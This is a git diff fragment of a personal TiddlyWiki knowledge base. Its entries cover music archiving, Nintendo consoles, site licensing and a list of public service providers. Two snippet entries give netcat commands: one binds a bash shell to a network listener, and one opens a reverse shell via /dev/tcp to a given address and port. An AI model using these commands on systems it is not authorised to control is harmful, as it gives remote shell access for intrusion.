Video|https://superuser.com/questions/1041816/combine-one-image-one-audio-file-to-make-one-video-using-ffmpeg]]","tags":"i18n:en Snippets","title":"FFmpeg/Snippets","modified":"20221228174603401"},
|
||||
@ -394,13 +397,14 @@ Error message and password prompt
|
||||
{"created":"20220921172621560","text":"\u003C$importvariables filter=\"$:/Macros [[$:/Macros/Music Archiving Status]]\">\n\n!!! Ujico / Snail's House | [[Bandcamp|https://0101.bandcamp.com/music]]\n\n\u003C\u003CTable \"\"\"\n\u003C\u003Cr Balloons>>\n\u003C\u003Cr \"Biscuit Funk\">>\n\u003C\u003Cr BLITZ>>\n\u003C\u003Cr \"Candy Dash (VIP)\">>\n\u003C\u003Cr \"Christmas of a Wandering Ghost\">>\n\u003C\u003Cr \"Dream Castle EP\">>\n\u003C\u003Cr [FLOWERS]>>\n\u003C\u003Cr Imaginarium>>\n\u003C\u003Cr Journey>>\n\u003C\u003Cr \"Kawaii Collective\">>\n\u003C\u003Cr Kitty>>\n\u003C\u003Cr \"L'été\">>\n\u003C\u003Cr \"Love Magic\">>\n\u003C\u003Cr \"love songs\">>\n\u003C\u003Cr \"Love Story\">>\n\u003C\u003Cr \".。:+*mal d'amour.。:+*\">>\n\u003C\u003Cr \"Magical Holiday\">>\n\u003C\u003Cr \"Ordinary Songs 1\">>\n\u003C\u003Cr \"Ordinary Songs 2\">>\n\u003C\u003Cr \"Ordinary Songs 3\">>\n\u003C\u003Cr \"Ordinary Songs 4\">>\n\u003C\u003Cr \"Ordinary Songs 5\">>\n\u003C\u003Cr \"Pâtisserie Snail\">>\n\u003C\u003Cr \"Pixel Galaxy\">>\n\u003C\u003Cr PIXELIZE>>\n\u003C\u003Cr scenery>>\n\u003C\u003Cr \"Snailchan Adventure\">>\n\u003C\u003Cr Snö>>\n\u003C\u003Cr Storyteller>>\n\u003C\u003Cr SUPERGIRL>>\n\u003C\u003Cr \"Sweety Sweety\">>\n\u003C\u003Cr Twinklestar>>\n\u003C\u003Cr \"ujbeats vol.1\">>\n\u003C\u003Cr \"ujbeats vol.2\">>\n\u003C\u003Cr \"Warp Star\">>\n\u003C\u003Cr ~WonderWorld>>\n\u003C\u003Cr \"エイリアン☆ポップ I\">>\n\u003C\u003Cr \"エイリアン☆ポップ II\">>\n\u003C\u003Cr \"エイリアン☆ポップ III\">>\n\u003C\u003Cr 妖>>\n\u003C\u003Cr \"空中都市\">>\n\u003C\u003Cr \"ドリームPrincess (Dream Princess) feat. 初音ミク\">>\n\u003C\u003Cr \"LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix)\">>\n\"\"\">>","tags":"Archiving Music","title":"Music Archiving Status/Ujico / Snail's House","modified":"20220923070856816","Balloons - GotLossless":"true","Balloons - UploadedLossless:Archive.org":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - GotLossless":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - UploadedLossless:Archive.org":"true","Christmas of a Wandering Ghost - GotLossless":"true","Christmas of a Wandering Ghost - UploadedLossless:Archive.org":"true","Kawaii Collective - GotLossless":"true","Kawaii Collective - UploadedLossless:Archive.org":"true",".。:+*mal d'amour.。:+* - GotLossless":"true",".。:+*mal d'amour.。:+* - UploadedLossless:Archive.org":"true","Ordinary Songs 1 - GotLossless":"true","Ordinary Songs 2 - GotLossless":"true","Ordinary Songs 3 - GotLossless":"true","Ordinary Songs 4 - GotLossless":"true","Ordinary Songs 5 - GotLossless":"true","Ordinary Songs 5 - UploadedLossless:Archive.org":"true","Ordinary Songs 4 - UploadedLossless:Archive.org":"true","Ordinary Songs 3 - UploadedLossless:Archive.org":"true","Ordinary Songs 2 - UploadedLossless:Archive.org":"true","Ordinary Songs 1 - UploadedLossless:Archive.org":"true","ujbeats vol.1 - GotLossless":"true","ujbeats vol.1 - UploadedLossless:Archive.org":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - GotLossless":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - UploadedLossless:Archive.org":"true","Candy Dash (VIP) - GotLossless":"true","Candy Dash (VIP) - UploadedLossless:Archive.org":"true","Balloons - GotAny":"true","Candy Dash (VIP) - GotAny":"true","LADY'S ONLY Remixed by Snail's House - Digital Tattoo (Snail's House Remix) - GotAny":"true","Christmas of a Wandering Ghost - GotAny":"true","Kawaii Collective - GotAny":"true",".。:+*mal d'amour.。:+* - GotAny":"true","Ordinary Songs 1 - GotAny":"true","Ordinary Songs 2 - GotAny":"true","Ordinary Songs 3 - GotAny":"true","Ordinary Songs 4 - GotAny":"true","Ordinary Songs 5 - GotAny":"true","ujbeats vol.1 - GotAny":"true","ドリームPrincess (Dream Princess) feat. 初音ミク - GotAny":"true","BLITZ - GotAny":"true","Pâtisserie Snail - GotAny":"true","Dream Castle EP - GotAny":"false","エイリアン☆ポップ II - GotAny":"true","Imaginarium - GotAny":"true","Journey - GotAny":"false","Sweety Sweety - GotAny":"true","エイリアン☆ポップ I - GotAny":"true","love songs - GotAny":"true","Love Story - GotAny":"true","Kitty - GotAny":"true","Magical Holiday - GotAny":"true","Love Magic - GotAny":"true","Snailchan Adventure - GotAny":"true","Pixel Galaxy - GotAny":"true","Snö - GotAny":"true","SUPERGIRL - GotAny":"true","Twinklestar - GotAny":"true","Warp Star - GotAny":"true","エイリアン☆ポップ III - GotAny":"true","L'été - GotAny":"true","scenery - GotAny":"true","~WonderWorld - GotAny":"true","妖 - GotAny":"true","空中都市 - GotAny":"true","[FLOWERS] - GotAny":"true","Storyteller - GotAny":"true"},
|
||||
{"created":"20221202224129631","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```","tags":"Snippets i18n:en","title":"netcat/Normal Shell","modified":"20221202225030515"},
|
||||
{"created":"20220926095309988","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```","tags":"Snippets i18n:en","title":"netcat/Reverse Shell","modified":"20221202224522626"},
|
||||
{"created":"20230110103516006","text":"\\define Test(Str)\n\u003C$set name=\"Text\" filter=\"[[$Str$]regexp[\\.]then[$Str$]else[$Str$.Wikipedia.org]]\">\n\n[[\u003CText>/wiki/\u003C\u003CStr>>]]\n\n\u003Ca href=\"https://$(Text)$\">\u003C\u003CText>>\u003C/a>\n\n\u003C/$set>\n\\end\n\n\u003C\u003CTest it>>\n\n","tags":"","title":"New 1","modified":"20230110112741135"},
|
||||
{"created":"20220923110724649","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003CLImg \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>","title":"Nintendo DS:en","modified":"20230108213456636","tags":"Gaming Nintendo NDS i18n:en"},
|
||||
{"created":"20221018215927772","text":"!!! Moved\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>","tags":"Nintendo NDS Gaming i18n:en","title":"Nintendo DS/Software Requiring Only the Bottom Screen","modified":"20221020125346687"},
|
||||
{"created":"20220925130302833","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]]. It is notorius for being made of [[papier-mâché|Papier-mâché]], essentially suffering from a variety of structural problems.\n\n\u003C\u003CLImg \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.","tags":"Nintendo Gaming NX i18n:en","title":"Nintendo Switch:en","modified":"20230109105533455"},
|
||||
{"created":"20220920160811383","text":"!! Welcome to my Personal {Knowledge Base + Public Notebook}!\n\nGeneral information about the site will soon be available. Licensing information is available [[here|OcttKB/Licensing]].\n\n!!! External Links\n* ''My Hub'', Global Home Page: https://hub.octt.eu.org - Links to my blog, webapps, and social profiles\n* ''KB Git Repo'' (deploy scripts, + some history): https://gitlab.com/octtspacc/OcttKB\n\n!!! Tags\n\u003Cspan style=\"Line-Height:2em;\">\n\u003C$list filter=\"[tags[]!is[system]]\">\n\u003Cspan style=\"Padding:2px;\">\n\u003C$macrocall $name=\"tag\" tag={{!!caption}}/>\n\u003C/span>\n\u003C/$list>\n\u003C/span>\n\u003C!--\n\u003C\u003Clist-links filter:\"[!is[system]tags[]]\">>\n--->\n\n!!! All KB Entries\n\u003Cdetails>{{$:/AllTiddlers}}\u003C/details>\n\n\u003Cbr>\u003Chr>\u003Cbr>\n\n(Partial) [[Copyright © 2022, OctoSpacc|OcttKB/Licensing]] || OcttKB is powered by [[TiddlyWiki|TiddlyWiki:en]].\n\n\u003Csmall>//As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.//\u003C/small>","tags":"i18n:en Meta TableOfContents","title":"OcttKB","modified":"20230109221043289"},
|
||||
{"created":"20220924173239034","text":"All my //original content// on this website, unless where otherwise specified, is licensed under [[CC BY-SA 4.0|CC BY-SA 4.0:en]].\n\nIt is a [[free culture]] license that promotes the benefits of making information available for anyone to learn from and build upon. However, be sure to know its terms before doing anything other than just consuming the site!\n\nYou can easily recognize which of the directly hosted (entirely contained in a //tiddler// itself, like text, string-encoded files, or standalone files in the file system) content is my original creation: it's anything that features no indication of source or license.\n\nUnless I forget to do so in specific instances, I always credit the source and/or specify the original license for anything upon which I don't hold 100% of the rights (even public domain content) and is a straight copy. I may not do so if the content in question is not directly copied //into// my site, but instead embedded from a Web space which is the property of another entity - in which case, a clickable link directing to the source will be present; if not, you can click the pencil-shaped (edit) button to read the source code for a specific //tiddler//, to discover possible external embed URLs.\n\nThe above is valid for all //content tiddlers// (those whose name does not start with `$:/`) and all //system tiddlers// created by me (not part of standard [[TiddlyWiki|TiddlyWiki:en]] or any of my [[installed plugins|$:/core/ui/ControlPanel/Plugins]]).\n\n//Non-original system tiddlers// which I never touched, obviously fall under their own license; but, for simplicity of operations, as well as to avoid accidentally claiming ownership on code not written by me, I hereby explicitly give away my copyright for //non-original system tiddlers// that I modified from their original state. This means you can consider those as always falling under their original license, even if I touched them; From another point of view, you can effectively consider any //diff// generated between the original version of a //system tiddler// and my modified version of the same file as falling under public domain.","tags":"i18n:en","title":"OcttKB/Licensing","modified":"20230109110252753"},
|
||||
{"created":"20230109220804304","text":"\\import [[$:/ThirdParty/TiddlyTools/FilterGenerators/TagCloud]]\n\n\\define config() $:/config/TiddlyTools/TagCloud\n\\define options() $:/state/popup/tagcloud\n\\define default_min() 0.75\n\\define default_step() 0.25\n\\define default_max() 3.00\n\\define default_group() 5\n\n\u003Cstyle>\n .tt-tagcloud input { width:auto !important; white-space: revert; }\n .tt-tagcloud input.option { width:3em !important; text-align:right; }\n\u003C/style>\n\n!! Clouds!\n\nAre these useless? ''Yes!'' But they are so pretty...\n\n\u003Cdiv class=\"tt-tagcloud\">\n\u003C!--\u003C\u003Ctagcloud_select>>--->\n\u003C!--\u003C$set name=taglist filter=\"[\u003Cconfig>get[taglist]enlist-input[]]\">--->\n\u003C$set name=taglist filter=\"[tags[]!is[system]]\">\n\u003C!--\u003C\u003Ctagcloud_summary>>--->\n\u003C\u003Ctagcloud_show>>","tags":"i18n:en OcttKB","title":"OcttKB/Stats","modified":"20230109231208708"},
|
||||
{"created":"20230108195546523","text":"The following entities host miscellaneous useful open-source Internet services for the public. Some are classifiable as [[pubnixes|Pubnix:en]].\n\n* [[adminForge|https://services.adminforge.de]]\n* [[Artemis|https://artemislena.eu/services]]\n* [[Bączek|https://baczek.me/decentralisation]]\n* [[Brotherbear Den|https://stuehieyr.com]]\n* [[bus-hit.me|https://bus-hit.me/#services]]\n* [[dcs0|https://dcs0.hu]]\n* [[CachyOS|https://github.com/CachyOS/CachyOS-services/blob/master/README.md]]\n* [[Devol|https://devol.it]]\n* [[dhusch.de|https://dhusch.de]]\n* [[Disroot|https://disroot.org/en]]\n* [[domain.glass|https://domain.glass]]\n* [[Drivet|https://drivet.xyz/services]]\n* [[envs.net|https://envs.net]]\n* [[Esmail EL BoB|https://esmailelbob.xyz/en]]\n* [[Epic Site|https://epicsite.xyz]]\n* [[Freedit|https://freedit-org.github.io/status]]\n* [[foss.wtf|https://foss.wtf]]\n* [[Garuda Linux|https://start.garudalinux.org]]\n* [[GGC-Project|https://www.ggc-project.de/index.html#services]]\n* [[Hostux|https://hostux.network/en]]\n* [[Jae.fi|https://jae.fi/#public-services]]\n* [[kavin.rocks|https://kavin.rocks]]\n* [[LibertaCasa|https://liberta.casa]]\n* [[Lunar.ICU|https://service.lunar.icu]]\n* [[ManaSiWibi|https://manasiwibi.com/public-instance-services]]\n* [[Ming Di Leom|https://mdleom.com/about/#Services]]\n* [[mint.lgbt|https://mint.lgbt]]\n* [[namazso|https://namazso.eu]]\n* [[Odyssey346|https://odyssey346.dev/posts/selfhost]]\n* [[Plausibility|https://plausibility.cloud]]\n* [[Plus St|https://plus.st]]\n* [[PrivacyDev|https://privacydev.net/services.html]]\n* [[Privex+PrivacyTools|https://www.privex.io/articles/privacy-frontends]]\n* [[Project Segfault|https://projectsegfau.lt]]\n* [[Puffyan|https://puffyan.us]]\n* [[PussTheCat.org|https://pussthecat.org]]\n* [[Riseup|https://riseup.net]]\n* [[Riverside Rocks|https://riverside.rocks]]\n* [[rtrace.io|https://status.rtrace.io]]\n* [[Services FACiLes|https://facil.services]]\n* [[Seth For Privacy|https://status.sethforprivacy.com]]\n* [[Slipfox Network Suite|https://slipfox.xyz]]\n* [[Snopyta|https://snopyta.org]]\n* [[Strongthany|https://blog.strongthany.cc/about/#other-strongservices]]\n* [[The Froth Zone|https://status.froth.zone]]\n* [[The kitty zone|https://thekitty.zone]]\n* [[Tiekötter|https://www.tiekoetter.com/en/services]]\n* [[Tildeverse|https://tildeverse.org]]\n* [[Tinfoil-hat.net|https://tinfoil-hat.net]]\n* [[Tokhmi|https://status.tokhmi.xyz]]\n* [[TotalDarkness|https://totaldarkness.net]]\n* [[TROM.tf|https://trom.tf]]\n* [[~vern|https://vern.cc]]\n* [[Voring.me|https://status.voring.me]]\n* [[weblibre.org|https://weblibre.org]]\n* [[whatever.social|https://whatever.social]]\n* [[YuruVerse (funami.tech)|https://funami.tech]]\n* [[zaggy.nl|https://zaggy.nl]]\n\n!!! Specific single offerings\n\n* [[CryptPad|CryptPad:en]]: [[📃 Curated List|https://cryptpad.org/instances]]\n\n* [[SearX/SearXNG|SearX:en]] (Metasearch engine): [[📃 Curated List|https://searx.space]] | [[priv.au|https://priv.au]]\n\n* [[Whoogle|Whoogle:en]]: [[📃 Curated List|https://github.com/benbusby/whoogle-search#public-instances]]\n\n* [[Lingva|Lingva:en]]: [[📃 Curated List|https://github.com/TheDavidDelta/lingva-translate#instances]]\n\n* [[Libreddit|Libreddit:en]]: [[📃 Curated List|https://github.com/libreddit/libreddit-instances/blob/master/instances.md]]\n\n* [[Teddit|Teddit:en]]: [[📃 Curated List|https://codeberg.org/teddit/teddit#instances]]\n\n* [[Nitter|Nitter:en]] (Twitter frontend): [[📃 Curated List|https://xnaas.github.io/nitter-instances]]\n\n* [[Invidious|Invidious:en]]: [[📃 Curated List|https://api.invidious.io]] \u003C!--| [[com.sb|https://y.com.sb]], [[flokinet.to|https://invidious.flokinet.to]], [[lidarshield|https://invidious.lidarshield.cloud]], [[ggtyler.dev|https://iv.ggtyler.dev]], [[melmac.space|https://iv.melmac.space]], [[nerdvpn.de|https://invidious.nerdvpn.de]], [[priv.au|https://vid.priv.au]], [[Silur.me|https://invidious.silur.me]]--->\n\n* [[Piped|Piped:en]]: [[📃 Curated List|https://github.com/TeamPiped/Piped/wiki/Instances]]\n","tags":"i18n:en Internet","title":"Open Services Providers","modified":"20230110081456065"},
|
||||
{"created":"20230108195546523","text":"The following entities host miscellaneous useful open-source Internet services for the public. Some are classifiable as [[pubnixes|Pubnix:en]].\n\n* [[adminForge|https://services.adminforge.de]]\n* [[Artemis|https://artemislena.eu/services]]\n* [[Bączek|https://baczek.me/decentralisation]]\n* [[Brotherbear Den|https://stuehieyr.com]]\n* [[bus-hit.me|https://bus-hit.me/#services]]\n* [[dcs0|https://dcs0.hu]]\n* [[CachyOS|https://github.com/CachyOS/CachyOS-services/blob/master/README.md]]\n* [[Devol|https://devol.it]]\n* [[dhusch.de|https://dhusch.de]]\n* [[Disroot|https://disroot.org/en]]\n* [[domain.glass|https://domain.glass]]\n* [[Drivet|https://drivet.xyz/services]]\n* [[envs.net|https://envs.net]]\n* [[Esmail EL BoB|https://esmailelbob.xyz/en]]\n* [[Epic Site|https://epicsite.xyz]]\n* [[Freedit|https://freedit-org.github.io/status]]\n* [[foss.wtf|https://foss.wtf]]\n* [[Garuda Linux|https://start.garudalinux.org]]\n* [[GGC-Project|https://www.ggc-project.de/index.html#services]]\n* [[Hostux|https://hostux.network/en]]\n* [[Jae.fi|https://jae.fi/#public-services]]\n* [[kavin.rocks|https://kavin.rocks]]\n* [[LibertaCasa|https://liberta.casa]]\n* [[Lunar.ICU|https://service.lunar.icu]]\n* [[ManaSiWibi|https://manasiwibi.com/public-instance-services]]\n* [[Mask.sh|https://mask.sh]]\n* [[Miaoute (4201337.xyz)|https://4201337.xyz]]\n* [[Ming Di Leom (mdleom.com)|https://mdleom.com/about/#Services]]\n* [[Mico Hautaluoma (mha.fi)|https://mha.fi/services]]\n* [[mint.lgbt|https://mint.lgbt]]\n* [[namazso|https://namazso.eu]]\n* [[Odyssey346|https://odyssey346.dev/posts/selfhost]]\n* [[Plausibility|https://plausibility.cloud]]\n* [[Plus St|https://plus.st]]\n* [[PrivacyDev|https://privacydev.net/services.html]]\n* [[Privex+PrivacyTools|https://www.privex.io/articles/privacy-frontends]]\n* [[Project Segfault|https://projectsegfau.lt]]\n* [[Puffyan|https://puffyan.us]]\n* [[PussTheCat.org|https://pussthecat.org]]\n* [[Riseup|https://riseup.net]]\n* [[Riverside Rocks|https://riverside.rocks]]\n* [[rtrace.io|https://status.rtrace.io]]\n* [[Stetsed's Selfhosted (selfhostable.net)|https://dash.selfhostable.net]]\n* [[Services FACiLes|https://facil.services]]\n* [[Seth For Privacy|https://status.sethforprivacy.com]]\n* [[Slipfox Network Suite|https://slipfox.xyz]]\n* [[Snopyta|https://snopyta.org]]\n* [[Strongthany|https://blog.strongthany.cc/about/#other-strongservices]]\n* [[The Froth Zone|https://status.froth.zone]]\n* [[The kitty zone|https://thekitty.zone]]\n* [[Tiekötter|https://www.tiekoetter.com/en/services]]\n* [[Tildeverse|https://tildeverse.org]]\n* [[Tinfoil-hat.net|https://tinfoil-hat.net]]\n* [[Tokhmi|https://status.tokhmi.xyz]]\n* [[TotalDarkness|https://totaldarkness.net]]\n* [[TROM.tf|https://trom.tf]]\n* [[~vern|https://vern.cc]]\n* [[Voring.me|https://status.voring.me]]\n* [[weblibre.org|https://weblibre.org]]\n* [[whatever.social|https://whatever.social]]\n* [[YuruVerse (funami.tech)|https://funami.tech]]\n* [[zaggy.nl|https://zaggy.nl]]\n\n!!! Specific single offerings\n\n* [[CryptPad|CryptPad:en]]: [[📃 Curated List|https://cryptpad.org/instances]]\n\n* [[SearX/SearXNG|SearX:en]] (Metasearch engine): [[📃 Curated List|https://searx.space]] | [[priv.au|https://priv.au]]\n\n* [[Whoogle|Whoogle:en]]: [[📃 Curated List|https://github.com/benbusby/whoogle-search#public-instances]]\n\n* [[Lingva|Lingva:en]]: [[📃 Curated List|https://github.com/TheDavidDelta/lingva-translate#instances]]\n\n* [[Libreddit|Libreddit:en]]: [[📃 Curated List|https://github.com/libreddit/libreddit-instances/blob/master/instances.md]]\n\n* [[Teddit|Teddit:en]]: [[📃 Curated List|https://codeberg.org/teddit/teddit#instances]]\n\n* [[Nitter|Nitter:en]] (Twitter frontend): [[📃 Curated List|https://xnaas.github.io/nitter-instances]]\n\n* [[Invidious|Invidious:en]]: [[📃 Curated List|https://api.invidious.io]] \u003C!--| [[com.sb|https://y.com.sb]], [[flokinet.to|https://invidious.flokinet.to]], [[lidarshield|https://invidious.lidarshield.cloud]], [[ggtyler.dev|https://iv.ggtyler.dev]], [[melmac.space|https://iv.melmac.space]], [[nerdvpn.de|https://invidious.nerdvpn.de]], [[priv.au|https://vid.priv.au]], [[Silur.me|https://invidious.silur.me]]--->\n\n* [[Piped|Piped:en]]: [[📃 Curated List|https://github.com/TeamPiped/Piped/wiki/Instances]]\n","tags":"i18n:en Internet","title":"Open Services Providers","modified":"20230110101540396"},
|
||||
{"created":"20230109105615720","text":"\u003C\u003CMediaWiki Papier-mâché en 2>>","title":"Papier-mâché","modified":"20230109105630799","tags":"i18n:en"},
|
||||
{"created":"20230108215508443","text":"\nA ''pubnix'' (public-unix) is a [[Unix|Unix:en]] server provided by any entity, without profit motives, to the general public. They usually exist for self-empowerment, recreational, and learning use.\n\nSome pubnixes are formally joined together in networks. One of the most popular active today is [[Tildeverse|https://tildeverse.org]].\n","tags":"i18n:en Internet Unix","title":"Pubnix:en","modified":"20230108220232499"},
|
||||
{"created":"20221110120605389","text":"[[Python|https://www.python.org]] is a high-level, general-purpose, dynamically-typed, and garbage-collected programming language, with an extensive standard library and mandatory-indentation style.\n\n\u003Ca title=\"www.python.org, GPL <http://www.gnu.org/licenses/gpl.html>, via Wikimedia Commons\" href=\"https://commons.wikimedia.org/wiki/File:Python-logo-notext.svg\">\u003Cimg alt=\"Python-logo-notext\" src=\"https://upload.wikimedia.org/wikipedia/commons/c/c3/Python-logo-notext.svg\">\u003C/a>","tags":"i18n:en Development","title":"Python:en","modified":"20221110143925630"},
|
||||
|
Loading…
x
Reference in New Issue
Block a user